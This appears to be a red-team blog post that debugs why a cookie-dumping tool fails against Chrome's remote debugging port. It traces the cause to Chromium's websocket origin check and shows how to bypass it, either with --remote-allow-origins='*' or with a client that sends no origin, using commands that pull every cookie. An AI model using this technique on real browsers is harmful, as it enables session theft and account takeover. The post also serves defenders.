Debugging Cookie Dumping Failures with Chromium’s Remote Debugger
Recently, I’ve been reached out to by a few red teamers mentioning that WhiteChocolateMacademiaNut was failing to dump cookies against Google Chrome due to a websocket issue. These are the ramblings of my investigation, what changed in Chromium, and how to bypass it.
The Issue
slyd0g@slyd0gs-Virtual-Machine ~ % /Applications/Google\ Chrome.app/Contents/MacOS/./Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/slyd0g/Library/Application Support/Google/Chrome"
slyd0gs-Virtual-Machine:WhiteChocolateMacademiaNut slyd0g$ ./WhiteChoc -p 9222 -d cookies
2023/07/16 13:13:53 websocket.Dial ws://localhost:9222/devtools/browser/b84d3c64-ce6e-4122-bd2a-6104ab6f278a: bad status
We’ve started Google Chrome with the appropriate flags to perform remote debugging and WCMN fails to dump cookies, what gives?!
Looking at the Chrome logs, we see the following errors:
DevTools listening on ws://127.0.0.1:9222/devtools/browser/b84d3c64-ce6e-4122-bd2a-6104ab6f278a
[1261:259:0716/125402.612878:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the http://slyd0g origin. Use the command line flag --remote-allow-origins=http://slyd0g to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/125557.415482:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the http://slyd0g origin. Use the command line flag --remote-allow-origins=http://slyd0g to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/125622.518786:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the http://null origin. Use the command line flag --remote-allow-origins=http://null to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/125654.670586:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the ws://empty origin. Use the command line flag --remote-allow-origins=ws://empty to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/130435.185187:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the http://localhost:9222 origin. Use the command line flag --remote-allow-origins=http://localhost:9222 to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/130555.237917:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the origin. Use the command line flag --remote-allow-origins= to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/130604.286217:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the s origin. Use the command line flag --remote-allow-origins=s to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/130608.627128:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the origin. Use the command line flag --remote-allow-origins= to allow connections from this origin or --remote-allow-origins=* to allow all origins.
[1261:259:0716/131353.973603:ERROR:devtools_http_handler.cc(765)] Rejected an incoming WebSocket connection from the ws://empty origin. Use the command line flag --remote-allow-origins=ws://empty to allow connections from this origin or --remote-allow-origins=* to allow all origins.
Weird, well I don’t want to add more command line artifacts, let’s test with another websocket client:
slyd0g@slyd0gs-Virtual-Machine ~ % curl http://localhost:9222/json
<SNIPPED>
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
"id": "85976D59050BFEFDBA48204E3D865D00",
"title": "Cookiebro",
"type": "background_page",
"url": "chrome-extension://lpmockibcakojclnfmhchibmdpmollgn/background.html",
"webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00"
} ]
slyd0g@slyd0gs-Virtual-Machine ~ % wsc ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00
Connected to ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00
> {"id": 1, "method": "Network.getAllCookies"}
< {"id":1,"result":{"cookies":[{"name":"Subject-Id","value":"med <SNIPPED>
This works just fine with no errors from Chrome, what gives?
Chromium Source Code
Let’s get to the source of this issue :-)
Looking for the -remote-allow-origin
string in the error, we see that this occurs in devtools_http_handler.cc
.
if (request.headers.count("origin") &&
!remote_allow_origins_.count(request.headers.at("origin")) &&
!remote_allow_origins_.count("*")) {
const std::string& origin = request.headers.at("origin");
const std::string message = base::StringPrintf(
"Rejected an incoming WebSocket connection from the %s origin. "
"Use the command line flag --remote-allow-origins=%s to allow "
"connections from this origin or --remote-allow-origins=* to allow all "
"origins.",
origin.c_str(), origin.c_str());
Send403(connection_id, message);
LOG(ERROR) << message;
return;
}
Ah ha! So this error occurs when the origin
header exists and the user didn’t specify that origin using --remote-allow-origin
in the Chrome command line flags. This was the reason that wsc
could dump the cookies, but WCMN could not.
Looking at the history for this particular file, we can see that this was added in December 20, 2022 (yes, this technique has been broken for months if people updated their Chrome, but we all know how that goes :-))
The Solution?
Let’s update WCMN to send an empty origin
.
slyd0gs-Virtual-Machine:WhiteChocolateMacademiaNut slyd0g$ go build -o WhiteChoc main.go
slyd0gs-Virtual-Machine:WhiteChocolateMacademiaNut slyd0g$ ./WhiteChoc -p 9222 -d cookies
2023/07/16 13:41:28 parse "": empty url
Hm, well Go didn’t like that. Let’s take a look at Golang’s websocket.Dial
.
websocket.Dial
starts by calling NewConfig
where our origin string is checked for errors and it doesn’t like an empty one :(
It doesn’t appear that we can actually update WCMN to combat this change. Nevertheless, you can still use WCMN, you just need to also pass --remote-allow-origins=”*”
to Chrome. Defenders take note!
slyd0g@slyd0gs-Virtual-Machine ~ % /Applications/Google\ Chrome.app/Contents/MacOS/./Google\ Chrome --remote-allow-origins="*" --remote-debugging-port=9222 --user-data-dir="/Users/slyd0g/Library/Application Support/Google/Chrome"
DevTools listening on ws://127.0.0.1:9222/devtools/browser/8538979b-2409-4a81-8f3c-d6f971e84866
[2244:18179:0716/134731.839121:ERROR:command_buffer_proxy_impl.cc(128)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.
A Better Solution?
WCMN has served its time and the Golang websocket library doesn’t let us send an empty origin
Header.
Python to the rescue! Here’s a POC:
The key here is the suppress_origin
flag which unfortunately isn’t available to us in Go.
Conclusion
In this post, we identified an update to Chromium was breaking the remote debugging port cookie dumping technique. We looked into the source code, identified when the change occurred, and updated our tooling. I hope you enjoyed reading through my thought process :D
Please let me know if you spot any errors or have any questions here or on Twitter @slyd0g.
This is more of a note to myself, but I kind of like this informal blogpost style as it feels like there’s a lower barrier to entry to getting a blog out there. So you might see more of these in the future! Happy hacking!